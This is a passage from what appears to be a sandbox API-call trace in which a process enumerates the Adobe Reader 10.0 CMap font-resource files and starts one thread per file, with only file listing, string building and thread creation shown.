Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H" [0160.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e66c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xddc [0160.409] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2", cAlternateFileName="90PV-R~2")) returned 1 [0160.409] wcscmp (_String1="90pv-RKSJ-UCS2", _String2=".") returned 1 [0160.409] wcscmp (_String1="90pv-RKSJ-UCS2", _String2="..") returned 1 [0160.409] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0xd4b8f50 [0160.409] wcscpy (in: _Dest=0xd4b8f50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.409] wcscat (in: _Dest=0xd4b8f50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.409] wcscat (in: _Dest=0xd4b8f50, _Source="90pv-RKSJ-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2" [0160.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b8f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0160.410] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x190bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2C", cAlternateFileName="90PV-R~3")) returned 1 [0160.410] wcscmp (_String1="90pv-RKSJ-UCS2C", _String2=".") returned 1 [0160.410] wcscmp (_String1="90pv-RKSJ-UCS2C", _String2="..") returned 1 [0160.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c76fa0 [0160.410] wcscpy (in: _Dest=0x12c76fa0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.410] wcscat (in: _Dest=0x12c76fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.410] wcscat (in: _Dest=0x12c76fa0, _Source="90pv-RKSJ-UCS2C" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C" [0160.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1084 [0160.411] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3de5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-H", cAlternateFileName="ADD-RK~1")) returned 1 [0160.412] wcscmp (_String1="Add-RKSJ-H", _String2=".") returned 1 [0160.412] wcscmp (_String1="Add-RKSJ-H", _String2="..") returned 1 [0160.412] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e8408 [0160.412] wcscpy (in: _Dest=0x8e8408, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.412] wcscat (in: _Dest=0x8e8408, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.412] wcscat (in: _Dest=0x8e8408, _Source="Add-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H" [0160.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0160.413] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-V", cAlternateFileName="ADD-RK~2")) returned 1 [0160.413] wcscmp (_String1="Add-RKSJ-V", _String2=".") returned 1 [0160.413] wcscmp (_String1="Add-RKSJ-V", _String2="..") returned 1 [0160.413] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e77a8 [0160.413] wcscpy (in: _Dest=0x8e77a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.413] wcscat (in: _Dest=0x8e77a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.413] wcscat (in: _Dest=0x8e77a8, _Source="Add-RKSJ-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V" [0160.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e77a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1954 [0160.414] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-0", cAlternateFileName="ADFD7E~1")) returned 1 [0160.414] wcscmp (_String1="Adobe-CNS1-0", _String2=".") returned 1 [0160.414] wcscmp (_String1="Adobe-CNS1-0", _String2="..") returned 1 [0160.414] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e70e8 [0160.414] wcscpy (in: _Dest=0x8e70e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.414] wcscat (in: _Dest=0x8e70e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.415] wcscat (in: _Dest=0x8e70e8, _Source="Adobe-CNS1-0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0" [0160.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e70e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf68 [0160.416] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-1", cAlternateFileName="AD1410~1")) returned 1 [0160.416] wcscmp (_String1="Adobe-CNS1-1", _String2=".") returned 1 [0160.416] wcscmp (_String1="Adobe-CNS1-1", _String2="..") returned 1 [0160.416] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7cb8 [0160.416] wcscpy (in: _Dest=0x8e7cb8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.416] wcscat (in: _Dest=0x8e7cb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.416] wcscat (in: _Dest=0x8e7cb8, _Source="Adobe-CNS1-1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1" [0160.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb8 [0160.417] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-2", cAlternateFileName="ADC905~1")) returned 1 [0160.417] wcscmp (_String1="Adobe-CNS1-2", _String2=".") returned 1 [0160.417] wcscmp (_String1="Adobe-CNS1-2", _String2="..") returned 1 [0160.417] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e8138 [0160.417] wcscpy (in: _Dest=0x8e8138, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.417] wcscat (in: _Dest=0x8e8138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.417] wcscat (in: _Dest=0x8e8138, _Source="Adobe-CNS1-2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2" [0160.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d0 [0160.418] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-3", cAlternateFileName="AD7FF9~1")) returned 1 [0160.419] wcscmp (_String1="Adobe-CNS1-3", _String2=".") returned 1 [0160.419] wcscmp (_String1="Adobe-CNS1-3", _String2="..") returned 1 [0160.419] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7f88 [0160.419] wcscpy (in: _Dest=0x8e7f88, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.419] wcscat (in: _Dest=0x8e7f88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.419] wcscat (in: _Dest=0x8e7f88, _Source="Adobe-CNS1-3" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3" [0160.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19cc [0160.420] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-4", cAlternateFileName="ADEA01~1")) returned 1 [0160.420] wcscmp (_String1="Adobe-CNS1-4", _String2=".") returned 1 [0160.420] wcscmp (_String1="Adobe-CNS1-4", _String2="..") returned 1 [0160.420] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e74d8 [0160.420] wcscpy (in: _Dest=0x8e74d8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.420] wcscat (in: _Dest=0x8e74d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.420] wcscat (in: _Dest=0x8e74d8, _Source="Adobe-CNS1-4" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4" [0160.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e74d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c8 [0160.421] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-5", cAlternateFileName="AD351C~1")) returned 1 [0160.421] wcscmp (_String1="Adobe-CNS1-5", _String2=".") returned 1 [0160.421] wcscmp (_String1="Adobe-CNS1-5", _String2="..") returned 1 [0160.421] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6ab8 [0160.421] wcscpy (in: _Dest=0x8e6ab8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.421] wcscat (in: _Dest=0x8e6ab8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.421] wcscat (in: _Dest=0x8e6ab8, _Source="Adobe-CNS1-5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5" [0160.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x196c [0160.423] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-B5pc", cAlternateFileName="ADOBE-~1")) returned 1 [0160.423] wcscmp (_String1="Adobe-CNS1-B5pc", _String2=".") returned 1 [0160.423] wcscmp (_String1="Adobe-CNS1-B5pc", _String2="..") returned 1 [0160.423] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c76880 [0160.423] wcscpy (in: _Dest=0x12c76880, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.423] wcscat (in: _Dest=0x12c76880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.423] wcscat (in: _Dest=0x12c76880, _Source="Adobe-CNS1-B5pc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc" [0160.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1968 [0160.424] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-ETen-B5", cAlternateFileName="ADOBE-~2")) returned 1 [0160.424] wcscmp (_String1="Adobe-CNS1-ETen-B5", _String2=".") returned 1 [0160.424] wcscmp (_String1="Adobe-CNS1-ETen-B5", _String2="..") returned 1 [0160.424] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9ad5c8 [0160.424] wcscpy (in: _Dest=0x9ad5c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.424] wcscat (in: _Dest=0x9ad5c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.424] wcscat (in: _Dest=0x9ad5c8, _Source="Adobe-CNS1-ETen-B5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5" [0160.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ad5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1700 [0160.425] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-CID", cAlternateFileName="ADOBE-~3")) returned 1 [0160.425] wcscmp (_String1="Adobe-CNS1-H-CID", _String2=".") returned 1 [0160.425] wcscmp (_String1="Adobe-CNS1-H-CID", _String2="..") returned 1 [0160.425] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c766b8 [0160.425] wcscpy (in: _Dest=0x12c766b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.425] wcscat (in: _Dest=0x12c766b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.426] wcscat (in: _Dest=0x12c766b8, _Source="Adobe-CNS1-H-CID" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID" [0160.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c766b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf6c [0160.427] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x212a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Host", cAlternateFileName="ADOBE-~4")) returned 1 [0160.427] wcscmp (_String1="Adobe-CNS1-H-Host", _String2=".") returned 1 [0160.427] wcscmp (_String1="Adobe-CNS1-H-Host", _String2="..") returned 1 [0160.427] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0x9ae108 [0160.427] wcscpy (in: _Dest=0x9ae108, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.427] wcscat (in: _Dest=0x9ae108, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.427] wcscat (in: _Dest=0x9ae108, _Source="Adobe-CNS1-H-Host" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host" [0160.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ae108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1964 [0160.428] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Mac", cAlternateFileName="AD9A15~1")) returned 1 [0160.428] wcscmp (_String1="Adobe-CNS1-H-Mac", _String2=".") returned 1 [0160.428] wcscmp (_String1="Adobe-CNS1-H-Mac", _String2="..") returned 1 [0160.428] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c77590 [0160.428] wcscpy (in: _Dest=0x12c77590, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: 